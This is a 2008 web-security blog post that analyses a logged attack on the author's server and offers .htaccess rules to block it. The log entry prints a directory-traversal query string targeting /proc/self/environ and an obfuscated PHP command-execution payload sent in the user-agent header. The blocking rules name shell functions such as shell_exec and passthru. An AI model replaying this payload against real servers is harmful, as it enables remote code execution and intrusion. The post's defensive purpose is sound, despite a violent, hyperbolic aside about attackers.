Evil Incarnate, but Easily Blocked

Published Monday, September 15, 2008 @ 8:17 am • 6 Responses

As my readers know, I spend a lot of time digging through error logs, preventing attacks, and reporting results. Occasionally, some moron will pull a stunt that deserves exposure, public humiliation, and banishment. There is certainly no lack of this type of nonsense, as many of you are well-aware.

3G Blacklist

Even so, I have to admit that I am very happy with my latest strategy against crackers, spammers, and other scumbags, namely, the 3G Blacklist. Since implementing this effective HTAccess security method, I have seen a dramatic decrease in the overall volume of malicious activity recorded in my Apache, PHP, and 404 error logs. Thankfully, the 3G Blacklist has kept things pretty quiet around here, at least as far as malicious activity is concerned. In fact, it has been awhile since I’ve seen anything worthy of sharing with you — until now.

Evil Incarnate

The depths to which spammers and crackers sink never ceases to amaze me. From cryptic character strings and cloaked IP information to SQL injection and denial-of-service attacks, I’ve seen my share of sinister business hitting the server. Not much surprises me these days, but seeing a few log entries like this certainly caught my attention:

TIME: September 2nd 2008, 10:00am

404: *http://perishablepress.com/press/2007/10/01/htaccess-combo-pack-wordpress-permalinks-and-non-www-redirect/index.php?l=/../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ

SITE: http://perishablepress.com/

SOURCE: Perishable/Perishable

REFERRER: 

QUERY STRING: l=/../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ

REMOTE ADDRESS: 213.203.223.59

USER AGENT: <? $x0e=\\\"\\\\145x\\\\x65\\\\x63\\\"; $x0f=\\\"\\\\x66eo\\\\146\\\"; 
$x10=\\\"\\\\x66\\\\x72ea\\\\x64\\\"; 
$x11=\\\"\\\\146un\\\\x63\\\\164io\\\\x6e\\\\x5f\\\\x65x\\\\151s\\\\x74\\\\x73\\\"; 
$x12=\\\"i\\\\163\\\\x5f\\\\162\\\\x65s\\\\157ur\\\\x63\\\\x65\\\"; $x13=\\\"\\\\152\\\\157\\\\x69\\\\156\\\"; 
$x14=\\\"o\\\\142_g\\\\145t\\\\x5f\\\\x63o\\\\156\\\\164en\\\\x74\\\\x73\\\"; 
$x15=\\\"ob\\\\137\\\\x65\\\\156d\\\\137\\\\x63lea\\\\156\\\"; $x16=\\\"\\\\x6fb_st\\\\x61\\\\x72\\\\164\\\"; 
$x17=\\\"\\\\x70\\\\141\\\\163s\\\\164\\\\x68\\\\162\\\\165\\\"; $x18=\\\"\\\\x70\\\\143\\\\154ose\\\"; 
$x19=\\\"p\\\\157\\\\160e\\\\x6e\\\"; $x1a=\\\"\\\\163h\\\\145\\\\154l\\\\137\\\\x65\\\\170e\\\\143\\\"; 
$x1b=\\\"\\\\x73\\\\x79s\\\\x74e\\\\x6d\\\"; 
function x0b($x0b){ global $x0e,$x0f,$x10,$x11,$x12,$x13,$x14,$x15,$x16,$x17,$x18,$x19,$x1a,$x1b;  
$x0c = \\\'\\\'; if (!empty($x0b)) {if($x11(\\\'exec\\\')) {@$x0e($x0b,$x0c);$x0c = $x13(\\\"\\\\n\\\",$x0c); 
}elseif($x11(\\\'shell_exec\\\')) {$x0c = @$x1a($x0b); }elseif($x11(\\\'system\\\')) {@$x16();@$x1b($x0b);$x0c = 
@$x14();@$x15(); }elseif($x11(\\\'passthru\\\')) {@$x16();@$x17($x0b);$x0c = @$x14();@$x15(); }elseif(@$x12($x0d = 
@$x19($x0b,\\\"\\\\x72\\\"))){ $x0c = \\\"\\\"; while(!@$x0f($x0d)) { $x0c .= @$x10($x0d,1024); } @$x18($x0d);} } 
return $x0c;}echo x0b(\\\"ec\\\\150\\\\157\\\\x20c\\\\1624n\\\\153\\\\137\\\\x72oc\\\\153s\\\");?>

REMOTE IDENTITY:

DUDE!! — WTF is up with that!?!?! Did you check out the user-agent on that thing!? And what about that query string? How far up my ass the directory structure did you want to go? I mean, seriously.. that is some evil business right there. Somebody clearly put a lot of effort into that one, obviously intending to do some major damage to something deep within the server. What kind of depraved, evil bastard is writing this stuff? Even worse, what kind of scumbag loser is going around probing servers with this demented nonsense? I don’t know, and don’t even know if I want to know. Messing with other people’s property like that — you should be hung out and shot dead, twice in the face.

Child’s Play

Fortunately, stopping this ebil nonsense is easier than flushing a toilet. First, let’s block that nasty query-string by adding the following line to the Query String section of the 3G Blacklist 1:

 RewriteCond %{QUERY_STRING} \.\.\/ [NC,OR]

Next, let’s seal the deal by blocking any user agents containing scripted information. Do this by adding the following lines to the User Agent section of the 3G Blacklist:

SetEnvIfNoCase User-Agent "shell_exec"  keep_out
SetEnvIfNoCase User-Agent "passthru"    keep_out
SetEnvIfNoCase User-Agent "function"    keep_out

Or, if you would like to use this protective method by itself (i.e., independent of the 3G Blacklist), simply drop this code into your site’s web-accessible HTAccess file to enjoy complete protection against such attacks:

# block evil incarnate query strings
<ifmodule mod_rewrite.c>
 RewriteCond %{QUERY_STRING} \.\.\/    [NC,OR]
 RewriteRule .* -                      [F,L]
</ifmodule>
# block evil incarnate user agents
SetEnvIfNoCase User-Agent "shell_exec"  keep_out
SetEnvIfNoCase User-Agent "passthru"    keep_out
SetEnvIfNoCase User-Agent "function"    keep_out
<Limit GET POST>
 order allow,deny
 allow from all
 deny from env=keep_out
</Limit>

The first part of this code is basically telling Apache to kick to the curb any requests for URLs with query strings containing the “../” character string. There is no reason this string should ever appear in legitimate URLs.

Then, the second part of this code simply blocks any user agents containing the terms “shell_exec”, “passthru”, or “function”. Again, there is no reason for these strings to appear in legitimate user-agent strings.

There are actually many different ways to block this type of aggressive attack, but I think targeting the URL/query-string attack vector while blocking scripts in the user-agent string will prove the most effective. Think of it as breaking both legs and one arm of the attacker (i.e., the query string may be changed, but there is no way around the blocked scripts). Of course, I will be keeping a close eye on this type of attempted exploit, and will certainly post afresh with any further information, suggested updates, edits, additions, etc.

Footnote

  • 1 This protection will also be included in the upcoming 4G Blacklist.

Dialogue

6 Responses Jump to comment form

1Rick Beckman

September 15, 2008 at 9:53 am

Wouldn’t blocking “../” prevent things like style sheets from referencing images relatively in different directories?

For instance, if a theme is set up like this:

/theme/
/theme/custom/
/theme/images/

If the style sheet in /custom/ needs to refer to one of the Theme’s image, it must use “../images/” to get there. Wouldn’t that be blocked?

2Jeff Starr

September 15, 2008 at 10:05 am

No sir, we are blocking query strings and user agents here. Stylesheets and other external resources are not affected.

3Rick Beckman

September 15, 2008 at 10:12 am

Oh, I see what you did there. :)

4Jerry

September 20, 2008 at 5:29 pm

I’m glad you’ve figured that out! Malicious spam can be such a pain to deal with!

5F. Andy Seidl

September 20, 2008 at 6:53 pm

As a webmaster, you definitely should use user-agent headers to manager server traffic. But understand that this is purely a pragmatic tactic and not a serious security measure.

I wrote more about this here:

Webmaster Tips: Blocking Selected User-Agents
http://faseidl.com/public/item/213126

6Jeff Starr

September 21, 2008 at 9:04 am

Trust me, when your site is hosted on a shared server, this is as serious as it gets.. ;)

Subscribe to comments on this post


Share your thoughts..

TopRead official comment policy

Contact Perishable Press

  • Contact Jeff via form

Search Perishable Press

About Perishable Press

Perishable Press is the virtual playground of Jeff Starr — visionary, founder and lead developer of Monzilla Media, a small web and graphic design company in the lush desert oasis of Moses Lake, Washington. Perishable Press features articles and tutorials on many aspects of digital design..

Read more..

Perishable on Twitter

better to have too many ideas and not enough time than the converse

Perishable on Tumblr

WordPress Tip for Multiple Themes

Sunday, 4 January 2009, 5:16 pm

If your site makes available multiple themes for users to choose from, remember to include the JavaScript (or any other required code) for any statistical applications that you might be using, such as Mint, Google Analytics, and so forth. I am not sure about the various WordPress statistics plugins, but they may need to be included as well. A good way to check if your stats plugin is tracking data across all themes is to either visit a few pages that you know others aren’t hitting, or else activate each of the alternate themes and check the source code of each one for the required code.

Earlier today, I realized that only several of my most recent themes included the required JavaScript for Mint and Google Analytics. I am now in the process of editing each of the 18 themes available for users at Perishable Press. Haven’t decided on whether or not both statistics apps are needed for all themes, but I will certainly be using at least one of them to keep an eye on everything.

Insane Christmas

Monday, 22 December 2008, 9:47 pm

For as long as I can remember, Christmas has always been a relatively peaceful affair. Sure there’s the usual holiday stress — traffic, shopping, presents, relatives, and all that goes with the preparation of a traditional celebration, but when it’s all said and done, you get to relax and enjoy the peace and harmony of gathering together and basking in the reason for the season: the birth of Christ.

This year, however, the stress factor has been kicked up a few notches, making for a rather insane Christmas if I do say so myself. In addition to the usual holiday chaos, we are currently purchasing a brand new home, and quickly realizing the incredible amount of work involved in the process. If you’ve ever bought a newly built home, you know exactly what I am talking about here.

Plus, as if all the paperwork, inspections, insurance, costs, and anxious anticipation weren’t enough to confound the usual holiday stress, we are also packing up everything, dealing with kids, working full-time jobs, and — beginning on Christmas Eve — moving into our new house.

It certainly is all a great joy and blessing to have such amazing things going on, but combined with the work that I do on the Web — blogging, designing, projects, helping people, and so on — it really becomes all too much rather quickly. We are doing are best to get through everything with our sanity intact, but I have to admit that this is the most insane Christmas I have ever experienced.

New (4G) Blacklist Now in Beta

Monday, 22 December 2008, 9:27 pm

Just a quick note to anyone interested in securing their websites against malicious activity, spam, and other nonsense. Several months after releasing my 3G Blacklist, I have finally begun work on the next incarnation of the blacklist: the 4G Firewall!

The first part of the blacklist is now ready for testing, and I plan on setting it up on Perishable Press within the next few days. While testing on my own site, I thought it would beneficial to also invite a few “beta” testers to run the code on their own site(s) as well.

So, if you have a site that receives its share of malicious attacks, and cracker exploits, drop me a line via the contact form at Perishable Press and I will send you the initial block of HTAccess directives. This version of the Blacklist is looking better than ever, and I look forward to releasing the complete version to the public early in 2009.

Thanks for the Free Traffic and Link Juice

Sunday, 7 December 2008, 1:26 pm

Just wanted to thank the fine folks at fafich.ufmg.br for all the free traffic and link juice. Thanks to their misapplication of my comprehensive canonicalization code, every non-canonical version of their 21,700 indexed pages points directly to my site, Perishable Press. This means that every one of their permalink URLs that is mistyped, lacks the “www” prefix, or contains the superfluous “index.php” file name is directed via permanent redirect directly to the home page of my site.

I have tried contacting the site owner(s) about this situation, but it has been over a week and I have yet to hear anything back. Hopefully, they will take notice soon and correct the issue by properly configuring their htaccess file, but in the meantime, I certainly don’t mind the extra link juice and free traffic! :)

No Plugin Needed for Feed Delay

Monday, 24 November 2008, 10:01 am

I recently saw a WordPress plugin that was designed to delay the publication of your WordPress feed by any specified time interval. While it is a good idea to carefully proofread your content before posting it, a plugin certainly is not required to do so.

As savvy WordPress users already know, WordPress has a built-in post-preview feature that enables authors to view their unpublished content as a published post. This enables authors to do any amount of proofreading and browser checking until they are satisfied with the results.

To do this, simply write your post as usual, and then click on the “Preview this post” button on the right-hand side of the screen. In older versions of WordPress (less than 2.5, I think), you actually need to save (without publishing!) the post first and then re-open it as if to continue editing. You will then see a “Preview »” link sort of hidden (due to poor CSS design) in the upper-right corner near the edit post field. Right-click on that link to open in new tab and you are good to go.

No extra plugin needed! :)

Read more on Tumblr..

Subscribe to Comments Recent Dialogue

  • Jeff Starr: Hi heywho, glad to hear you are doing well! ;) I wish I could join in the festivities.. it has been so long that I almost have forgot...
  • Rob Barrett: Thanks for posting about the Stealth Publish plugin -- just what I needed for my site. Works perfectly!...
  • Jeff Starr: Hi Chiwan, I got your email and have sent some information that may help you with this. Cheers, Jeff...
  • Chiwan: Hi. This is cool. So I can I replace the clock that comes with your Apathy theme with this clock? If that's not possible, how do ...
  • Brass Engraved: Thankyou very much for this, worked like a dream!...
  • Patrix: I'm using FeedBurner and the Feedsmith plugin for my filter blog, DesiPundit. I found your post via the WordPress page for RSS feeds ...
  • teddY: @Jessi Hance: Sorry to hear about your experience with Twitter spammers/flamers. I was once a victim of flamers and it sucks that peo...
  • heywho: Hey.... Very Nice...... I'm TOTALLY not a programmer..... but I have this thing I want to do...... so I just decided to start doi...
  • Rodrigo Nunes: NIce SEE MY BLOG http://designrn.wordpress.com/...
  • zubfatal: The Quintessential theme looks great to me, however when scrolling up or down on the page, it makes my laptop work harder than it sho...

Read more recent comments..

Attention: Do NOT follow this link!